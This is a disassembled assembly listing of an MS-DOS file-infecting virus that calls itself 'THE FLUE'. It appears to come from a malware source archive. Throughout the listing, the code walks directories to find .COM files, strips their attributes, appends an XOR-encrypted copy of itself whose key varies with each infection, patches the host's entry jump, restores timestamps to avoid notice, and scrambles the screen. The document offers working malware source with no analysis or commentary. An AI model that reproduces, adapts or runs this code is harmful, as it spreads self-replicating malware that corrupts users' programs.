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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.flue.asm
vxunderground dda6c7045d
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2021-01-12 17:44:11 -06:00

485 lines
28 KiB
NASM
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1000:0000 Proc3:
1000:0000 cd 20 INT 20h ;Exit
1000:0079 Data37:
1000:0100 e4 40 Main: IN AL, 40h
1000:0102 86 e0 XCHG AH, AL
1000:0104 e4 40 IN AL, 40h
1000:0106 a3 a205 MOV WORD PTR [Data0], AX
1000:0109 be 1601 MOV SI, 0116h
1000:010c e8 8f04 CALL Proc0
1000:010f e9 0100 JMP Jmp0
1000:0112 db c3
1000:0113 Jmp0:
1000:0113 e8 8404 CALL Proc1
1000:0116 Data9:
1000:0116 e8 0000 CALL Proc2
1000:0119 Proc2:
1000:0119 5d POP BP
1000:011a 81 ed 1901 SUB BP, 0119h
1000:011e eb 01 JMP Jmp1
1000:0120 db 81
1000:0121 Jmp1:
1000:0121 e4 21 IN AL, 21h
1000:0123 0c 02 OR AL, 02h
1000:0125 e6 21 OUT AL, 21h
1000:0127 b9 0300 MOV CX, 0003h
1000:012a bf 0001 MOV DI, 0100h
1000:012d 57 PUSH DI
1000:012e 8d b6 5204 LEA SI, WORD PTR [BP+Data1]
1000:0132 fc CLD
1000:0133 f3 REPNZ
1000:0134 a4 MOVSB
1000:0135 b4 47 MOV AH, 47h
1000:0137 32 d2 XOR DL, DL
1000:0139 8d b6 ae04 LEA SI, WORD PTR [BP+Data2]
1000:013d cd 21 INT 21h ;Get current directory
1000:013f b4 2f MOV AH, 2fh
1000:0141 cd 21 INT 21h ;Get DTA
1000:0143 06 PUSH ES
1000:0144 53 PUSH BX
1000:0145 b8 2435 MOV AX, 3524h
1000:0148 cd 21 INT 21h ;Get int vector 0x24
1000:014a 3e
1000:014b 89 9e ee04 MOV WORD PTR DS:[BP+Data3], BX
1000:014f 3e
1000:0150 8c 86 f004 MOV WORD PTR DS:[BP+Data4], ES
1000:0154 0e PUSH CS
1000:0155 07 POP ES
1000:0156 fa CLI
1000:0157 b4 25 MOV AH, 25h
1000:0159 8d 96 4004 LEA DX, WORD PTR [BP+Data5]
1000:015d cd 21 INT 21h ;Set int vector 0x24
1000:015f fb STI
1000:0160 3e
1000:0161 83 be a205 00 CMP WORD PTR DS:[BP+Data6], 00h
1000:0166 75 03 JNZ Jmp2
1000:0168 e9 4602 JMP Jmp3
1000:016b Jmp2:
1000:016b b4 1a MOV AH, 1ah
1000:016d 8d 96 6104 LEA DX, WORD PTR [BP+Data11]
1000:0171 cd 21 INT 21h ;Set DTA
1000:0173 e8 b402 CALL Proc4
1000:0176 b1 05 MOV CL, 05h
1000:0178 d2 e8 SHR AL, CL
1000:017a fe c0 INC AL
1000:017c 3e
1000:017d 88 86 5104 MOV BYTE PTR DS:[BP+Data12], AL
1000:0181 Jmp7:
1000:0181 b4 4e MOV AH, 4eh
1000:0183 8d 96 5804 LEA DX, WORD PTR [BP+Data13]
1000:0187 eb 31 JMP Jmp5
1000:0189 db 90
1000:018a Jmp10:
1000:018a b8 0157 MOV AX, 5701h
1000:018d 3e
1000:018e 8b 8e 7704 MOV CX, WORD PTR DS:[BP+Data17]
1000:0192 3e
1000:0193 8b 96 7904 MOV DX, WORD PTR DS:[BP+Data18]
1000:0197 cd 21 INT 21h ;Get/set file timestamp
1000:0199 b4 3e MOV AH, 3eh
1000:019b cd 21 INT 21h ;Close file
1000:019d b8 0143 MOV AX, 4301h
1000:01a0 32 ed XOR CH, CH
1000:01a2 3e
1000:01a3 8a 8e 7604 MOV CL, BYTE PTR DS:[BP+Data19]
1000:01a7 8d 96 7f04 LEA DX, WORD PTR [BP+Data15]
1000:01ab cd 21 INT 21h ;Change file attributes
1000:01ad 3e
1000:01ae 80 be 5104 00 CMP BYTE PTR DS:[BP+Data12], 00h
1000:01b3 75 03 JNZ Jmp12
1000:01b5 e9 f901 JMP Jmp3
1000:01b8 Jmp12:
1000:01b8 b4 4f MOV AH, 4fh
1000:01ba Jmp5:
1000:01ba b9 0600 MOV CX, 0006h
1000:01bd cd 21 INT 21h ;Find file
1000:01bf 73 12 JNB Jmp6
1000:01c1 3e
1000:01c2 fe 86 5104 INC BYTE PTR DS:[BP+Data12]
1000:01c6 b4 3b MOV AH, 3bh
1000:01c8 8d 96 5e04 LEA DX, WORD PTR [BP+Data14]
1000:01cc cd 21 INT 21h ;Change directory
1000:01ce 73 b1 JNB Jmp7
1000:01d0 e9 de01 JMP Jmp3
1000:01d3 Jmp6:
1000:01d3 b8 0143 MOV AX, 4301h
1000:01d6 33 c9 XOR CX, CX
1000:01d8 8d 96 7f04 LEA DX, WORD PTR [BP+Data15]
1000:01dc cd 21 INT 21h ;Change file attributes
1000:01de b8 023d MOV AX, 3d02h
1000:01e1 cd 21 INT 21h ;Open file
1000:01e3 73 03 JNB Jmp8
1000:01e5 e9 c901 JMP Jmp3
1000:01e8 Jmp8:
1000:01e8 93 XCHG AX, BX
1000:01e9 83 fb 04 CMP BX, 04h
1000:01ec 77 03 JA Jmp9
1000:01ee e9 c001 JMP Jmp3
1000:01f1 Jmp9:
1000:01f1 3e
1000:01f2 89 9e 4f04 MOV WORD PTR DS:[BP+Data16], BX
1000:01f6 b4 3f MOV AH, 3fh
1000:01f8 b9 0300 MOV CX, 0003h
1000:01fb 8d 96 5204 LEA DX, WORD PTR [BP+Data1]
1000:01ff cd 21 INT 21h ;Read file
1000:0201 e8 0302 CALL Proc5
1000:0204 3d 73bb CMP AX, bb73h
1000:0207 73 81 JNB Jmp10
1000:0209 3d f401 CMP AX, 01f4h
1000:020c 73 03 JNB Jmp11
1000:020e e9 79ff JMP Jmp10
1000:0211 Jmp11:
1000:0211 3e
1000:0212 80 be 5204 e9 CMP BYTE PTR DS:[BP+Data1], e9h
1000:0217 75 0d JNZ Jmp13
1000:0219 3e
1000:021a 2b 86 5304 SUB AX, WORD PTR DS:[BP+Data20]
1000:021e 3d 9e04 CMP AX, 049eh
1000:0221 75 03 JNZ Jmp13
1000:0223 e9 64ff JMP Jmp10
1000:0226 Jmp13:
1000:0226 e8 0102 CALL Proc4
1000:0229 b1 06 MOV CL, 06h
1000:022b d3 e8 SHR AX, CL
1000:022d 50 PUSH AX
1000:022e e8 f901 CALL Proc4
1000:0231 92 XCHG AX, DX
1000:0232 33 c0 XOR AX, AX
1000:0234 8e d8 MOV DS, AX
1000:0236 b4 40 MOV AH, 40h
1000:0238 59 POP CX
1000:0239 cd 21 INT 21h ;Write file
1000:023b 0e PUSH CS
1000:023c 1f POP DS
1000:023d e8 c701 CALL Proc5
1000:0240 e8 e701 CALL Proc4
1000:0243 0b c0 OR AX, AX
1000:0245 75 03 JNZ Jmp14
1000:0247 e9 6701 JMP Jmp3
1000:024a Jmp14:
1000:024a 3e
1000:024b 89 86 a205 MOV WORD PTR DS:[BP+Data6], AX
1000:024f 3e
1000:0250 89 9e 8105 MOV WORD PTR DS:[BP+Data21], BX
1000:0254 b9 2600 MOV CX, 0026h
1000:0257 8d b6 7405 LEA SI, WORD PTR [BP+Data22]
1000:025b 8d be ad05 LEA DI, WORD PTR [BP+Data8]
1000:025f fc CLD
1000:0260 f3 REPNZ
1000:0261 a4 MOVSB
1000:0262 e8 b701 CALL Proc6
1000:0265 d0 e8 SHR AL, 1
1000:0267 3c 02 CMP AL, 02h
1000:0269 72 1f JB Jmp15
1000:026b 77 3a JA Jmp16
1000:026d 3e
1000:026e c6 86 9b05 e3 MOV BYTE PTR DS:[BP+Data23], e3h
1000:0273 3e
1000:0274 c6 86 9d05 37 MOV BYTE PTR DS:[BP+Data24], 37h
1000:0279 3e
1000:027a c7 86 a405 3104 MOV WORD PTR DS:[BP+Jmp4], 0431h
1000:0280 3e
1000:0281 c7 86 a805 4646 MOV WORD PTR DS:[BP+Data25], 4646h
1000:0287 eb 38 JMP Jmp17
1000:0289 db 90
1000:028a Jmp15:
1000:028a 3e
1000:028b c6 86 9b05 e7 MOV BYTE PTR DS:[BP+Data23], e7h
1000:0290 3e
1000:0291 c6 86 9d05 1d MOV BYTE PTR DS:[BP+Data24], 1dh
1000:0296 3e
1000:0297 c7 86 a405 3107 MOV WORD PTR DS:[BP+Jmp4], 0731h
1000:029d 3e
1000:029e c7 86 a805 4343 MOV WORD PTR DS:[BP+Data25], 4343h
1000:02a4 eb 1b JMP Jmp17
1000:02a6 db 90
1000:02a7 Jmp16:
1000:02a7 3e
1000:02a8 c6 86 9b05 e6 MOV BYTE PTR DS:[BP+Data23], e6h
1000:02ad 3e
1000:02ae c6 86 9d05 3c MOV BYTE PTR DS:[BP+Data24], 3ch
1000:02b3 3e
1000:02b4 c7 86 a405 3105 MOV WORD PTR DS:[BP+Jmp4], 0531h
1000:02ba 3e
1000:02bb c7 86 a805 4747 MOV WORD PTR DS:[BP+Data25], 4747h
1000:02c1 Jmp17:
1000:02c1 e8 5801 CALL Proc6
1000:02c4 3c 04 CMP AL, 04h
1000:02c6 72 1c JB Jmp18
1000:02c8 3e
1000:02c9 80 be 9a05 46 CMP BYTE PTR DS:[BP+Proc1], 46h
1000:02ce 72 08 JB Jmp19
1000:02d0 77 0c JA Jmp20
1000:02d2 3c 05 CMP AL, 05h
1000:02d4 75 62 JNZ Jmp21
1000:02d6 eb e9 JMP Jmp17
1000:02d8 Jmp19:
1000:02d8 3c 04 CMP AL, 04h
1000:02da 75 47 JNZ Jmp24
1000:02dc eb e3 JMP Jmp17
1000:02de Jmp20:
1000:02de 3c 06 CMP AL, 06h
1000:02e0 75 6b JNZ Jmp23
1000:02e2 eb dd JMP Jmp17
1000:02e4 Jmp18:
1000:02e4 3c 02 CMP AL, 02h
1000:02e6 72 17 JB Jmp25
1000:02e8 77 24 JA Jmp26
1000:02ea 3e
1000:02eb c6 86 a105 ba MOV BYTE PTR DS:[BP+Data26], bah
1000:02f0 3e
1000:02f1 80 86 a505 10 ADD BYTE PTR DS:[BP+Data27], 10h
1000:02f6 3e
1000:02f7 c6 86 a705 d2 MOV BYTE PTR DS:[BP+Data28], d2h
1000:02fc eb 61 JMP Jmp22
1000:02fe db 90
1000:02ff Jmp25:
1000:02ff 3e
1000:0300 c6 86 a105 b8 MOV BYTE PTR DS:[BP+Data26], b8h
1000:0305 3e
1000:0306 c6 86 a705 d0 MOV BYTE PTR DS:[BP+Data28], d0h
1000:030b eb 52 JMP Jmp22
1000:030d db 90
1000:030e Jmp26:
1000:030e 3e
1000:030f c6 86 a105 bd MOV BYTE PTR DS:[BP+Data26], bdh
1000:0314 3e
1000:0315 80 86 a505 28 ADD BYTE PTR DS:[BP+Data27], 28h
1000:031a 3e
1000:031b c6 86 a705 d5 MOV BYTE PTR DS:[BP+Data28], d5h
1000:0320 eb 3d JMP Jmp22
1000:0322 db 90
1000:0323 Jmp24:
1000:0323 3e
1000:0324 c6 86 a105 bb MOV BYTE PTR DS:[BP+Data26], bbh
1000:0329 3e
1000:032a 80 86 a505 18 ADD BYTE PTR DS:[BP+Data27], 18h
1000:032f 3e
1000:0330 c6 86 a705 d3 MOV BYTE PTR DS:[BP+Data28], d3h
1000:0335 eb 28 JMP Jmp22
1000:0337 db 90
1000:0338 Jmp21:
1000:0338 3e
1000:0339 c6 86 a105 be MOV BYTE PTR DS:[BP+Data26], beh
1000:033e 3e
1000:033f 80 86 a505 30 ADD BYTE PTR DS:[BP+Data27], 30h
1000:0344 3e
1000:0345 c6 86 a705 d6 MOV BYTE PTR DS:[BP+Data28], d6h
1000:034a eb 13 JMP Jmp22
1000:034c db 90
1000:034d Jmp23:
1000:034d 3e
1000:034e c6 86 a105 bf MOV BYTE PTR DS:[BP+Data26], bfh
1000:0353 3e
1000:0354 80 86 a505 38 ADD BYTE PTR DS:[BP+Data27], 38h
1000:0359 3e
1000:035a c6 86 a705 d7 MOV BYTE PTR DS:[BP+Data28], d7h
1000:035f Jmp22:
1000:035f 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:0363 8b fe MOV DI, SI
1000:0365 8b de MOV BX, SI
1000:0367 55 PUSH BP
1000:0368 e8 3302 CALL Proc0
1000:036b 5d POP BP
1000:036c b8 0042 MOV AX, 4200h
1000:036f 3e
1000:0370 8b 9e 4f04 MOV BX, WORD PTR DS:[BP+Data16]
1000:0374 33 c9 XOR CX, CX
1000:0376 33 d2 XOR DX, DX
1000:0378 cd 21 INT 21h ;Seek on file
1000:037a b4 40 MOV AH, 40h
1000:037c b9 0300 MOV CX, 0003h
1000:037f 8d 96 5504 LEA DX, WORD PTR [BP+Data29]
1000:0383 cd 21 INT 21h ;Write file
1000:0385 b8 00b8 MOV AX, b800h
1000:0388 8e c0 MOV ES, AX
1000:038a 8e d8 MOV DS, AX
1000:038c 33 f6 XOR SI, SI
1000:038e 33 ff XOR DI, DI
1000:0390 b9 1800 MOV CX, 0018h
1000:0393 51 PUSH CX
1000:0394 b9 5000 MOV CX, 0050h
1000:0397 ad LODSW
1000:0398 50 PUSH AX
1000:0399 e2 fc LOOP Data30
1000:039b b9 5000 MOV CX, 0050h
1000:039e 58 POP AX
1000:039f ab STOSW
1000:03a0 e2 fc LOOP Data31
1000:03a2 59 POP CX
1000:03a3 e2 ee LOOP Data32
1000:03a5 0e PUSH CS
1000:03a6 0e PUSH CS
1000:03a7 1f POP DS
1000:03a8 07 POP ES
1000:03a9 3e
1000:03aa fe 8e 5104 DEC BYTE PTR DS:[BP+Data12]
1000:03ae e9 d9fd JMP Jmp10
1000:03b1 Jmp3:
1000:03b1 8d b6 ce03 LEA SI, WORD PTR [BP+Data7]
1000:03b5 8d be ad05 LEA DI, WORD PTR [BP+Data8]
1000:03b9 b9 3900 MOV CX, 0039h
1000:03bc fc CLD
1000:03bd f3 REPNZ
1000:03be a4 MOVSB
1000:03bf 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:03c3 8b fe MOV DI, SI
1000:03c5 8b de MOV BX, SI
1000:03c7 b9 c901 MOV CX, 01c9h
1000:03ca 55 PUSH BP
1000:03cb e9 d601 JMP Jmp4
1000:03ce Data7:
1000:03ce db 5d,b8,24,25,3e,8b,96,f0,04,8e,da,3e,8b,96,ee,04,cd,21,b4,1a
1000:03e2 db 5a,1f,cd,21,0e,1f,b4,3b,8d,96,ad,04,cd,21,e4,21,24,fd,e6,21
1000:03f6 db 33,c0,33,db,33,c9,33,d2,33,ed,be,00,01,bf,00,01,c3
1000:0407 Proc5:
1000:0407 b8 0242 MOV AX, 4202h
1000:040a 33 c9 XOR CX, CX
1000:040c 33 d2 XOR DX, DX
1000:040e cd 21 INT 21h ;Seek on file
1000:0410 2d 0300 SUB AX, 0003h
1000:0413 3e
1000:0414 89 86 5604 MOV WORD PTR DS:[BP+Data41], AX
1000:0418 05 0300 ADD AX, 0003h
1000:041b c3 RET
1000:041c Proc6:
1000:041c e8 0b00 CALL Proc4
1000:041f 24 0f AND AL, 0fh
1000:0421 d0 e8 SHR AL, 1
1000:0423 3c 05 CMP AL, 05h
1000:0425 77 f5 JA Proc6
1000:0427 fe c0 INC AL
1000:0429 c3 RET
1000:042a Proc4:
1000:042a b4 2c MOV AH, 2ch
1000:042c cd 21 INT 21h ;Get time
1000:042e 86 ea XCHG CH, DL
1000:0430 90 NOP
1000:0431 b4 2c MOV AH, 2ch
1000:0433 cd 21 INT 21h ;Get time
1000:0435 86 ca XCHG CL, DL
1000:0437 e4 40 IN AL, 40h
1000:0439 86 e0 XCHG AH, AL
1000:043b e4 40 IN AL, 40h
1000:043d 33 c1 XOR AX, CX
1000:043f c3 RET
1000:0440 Data5:
1000:0440 db b9,09,00,58,e2,fd,5d,1f,07,5a,1f,9d,e9,62,ff,00,00,00,eb,10
1000:044f Data16:
1000:0451 Data12:
1000:0452 Data1:
1000:0453 Data20:
1000:0454 db 90,e9,fd,fe
1000:0455 Data29:
1000:0456 Data41:
1000:0458 Data13:
1000:0458 db '*.COM'
1000:045d db 00,2e,2e,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:045e Data14:
1000:0461 Data11:
1000:0471 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:0476 Data19:
1000:0477 Data17:
1000:0479 Data18:
1000:047f Data15:
1000:0485 db 00,00,00,00,00,00,00,20,22,9d,ed,e6,20,e0
1000:0493 e2 ee LOOP Data33
1000:0495 20 f3 AND BL, DH
1000:0497 ad LODSW
1000:0498 87 de XCHG BX, SI
1000:049a 3c 22 CMP AL, 22h
1000:049c 2c 20 SUB AL, 20h
1000:049e f3 REPNZ
1000:049f e0 79 LOOPNZ Data34
1000:04a1 f3 REPNZ
1000:04a2 3a 20 CMP AH, BYTE PTR [BX+SI]
1000:04a4 5b POP BX
1000:04a5 44 INC SP
1000:04a6 e0 52 LOOPNZ Data35
1000:04a8 db 6b,52,e0,59,5d,5c,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04ae Data2:
1000:04bc db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04d0 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04e4 db 00,00,00,00,00,00,00,00,00,00,00,00,00,00
1000:04ee Data3:
1000:04f0 Data4:
1000:04f2 db 'Hatsjeee'
1000:04fa 6b 52 e0 595d XOR WORD PTR [BP+SIData36], 5d59h
1000:04fc 20 28 AND BYTE PTR [BX+SI], CH
1000:04fe 43 INC BX
1000:04ff 29 20 SUB WORD PTR [BX+SI], SP
1000:0501 31 39 XOR WORD PTR [BX+DI], DI
1000:0503 39 32 CMP WORD PTR [BP+SI], SI
1000:0505 2f DAS
1000:0506 31 39 XOR WORD PTR [BX+DI], DI
1000:0508 39 33 CMP WORD PTR [BP+DI], SI
1000:050a 20 62 79 AND BYTE PTR [BP+SI+Data37], AH
1000:050d 20 54 72 AND BYTE PTR [SI+Data38], DL
1000:0510 db 'idenT / [D'
1000:051a 69 64 65 6e54 XOR WORD PTR [SI+Data39], 546eh
1000:051c db 6b,52,e0
1000:051f db 'Y]Oh, BTW it's from '
1000:0533 db 'Holland, and is call'
1000:0547 db 'ed THE FLUEFor those'
1000:055b db ' who are interested'
1000:056e 6b 52 e0 595d XOR WORD PTR [BP+SIData36], 5d59h
1000:056f 2e
1000:0570 2e
1000:0571 2e
1000:0572 2e
1000:0573 2e
1000:0574 Data22:
1000:0574 58 POP AX
1000:0575 5d POP BP
1000:0576 55 PUSH BP
1000:0577 50 PUSH AX
1000:0578 3e
1000:0579 c6 86 ad05 c3 MOV BYTE PTR DS:[BP+Data8], c3h
1000:057e b4 40 MOV AH, 40h
1000:0580 bb 0000 MOV BX, 0000h
1000:0581 Data21:
1000:0583 b9 9b04 MOV CX, 049bh
1000:0586 8d 96 1301 LEA DX, WORD PTR [BP+Jmp0]
1000:058a cd 21 INT 21h ;Write file
1000:058c 8d be 9e05 LEA DI, WORD PTR [BP+Proc0]
1000:0590 57 PUSH DI
1000:0591 8d b6 1601 LEA SI, WORD PTR [BP+Data9]
1000:0595 8b fe MOV DI, SI
1000:0597 8b de MOV BX, SI
1000:0599 c3 RET
1000:059a Proc1:
1000:059a 89 e3 MOV BX, SP
1000:059b Data23:
1000:059c 8b 37 MOV SI, WORD PTR [BX]
1000:059d Data24:
1000:059e Proc0:
1000:059e b9 4002 MOV CX, 0240h
1000:05a1 Data26:
1000:05a1 b8 0000 MOV AX, 0000h
1000:05a2 Data6:
1000:05a4 Jmp4:
1000:05a4 31 04 XOR WORD PTR [SI], AX
1000:05a5 Data27:
1000:05a6 f7 d0 NOT AX
1000:05a7 Data28:
1000:05a8 Data25:
1000:05a8 46 INC SI
1000:05a9 46 INC SI
1000:05aa 49 DEC CX
1000:05ab 75 f7 JNZ Jmp4
1000:05ad Data8:
1000:05ad c3 RET
1000:ffe0 Data36:
2f18:0393 Data32:
2f18:0397 Data30:
2f18:039e Data31:
2f18:0483 Data33:
2f18:04fa Data35:
2f18:051a Data34:
2f18:056e Data40:
2f18:05a2 Data0:
eda4:0000 Data10:
eda4:0065 Data39:
eda4:0072 Data38:
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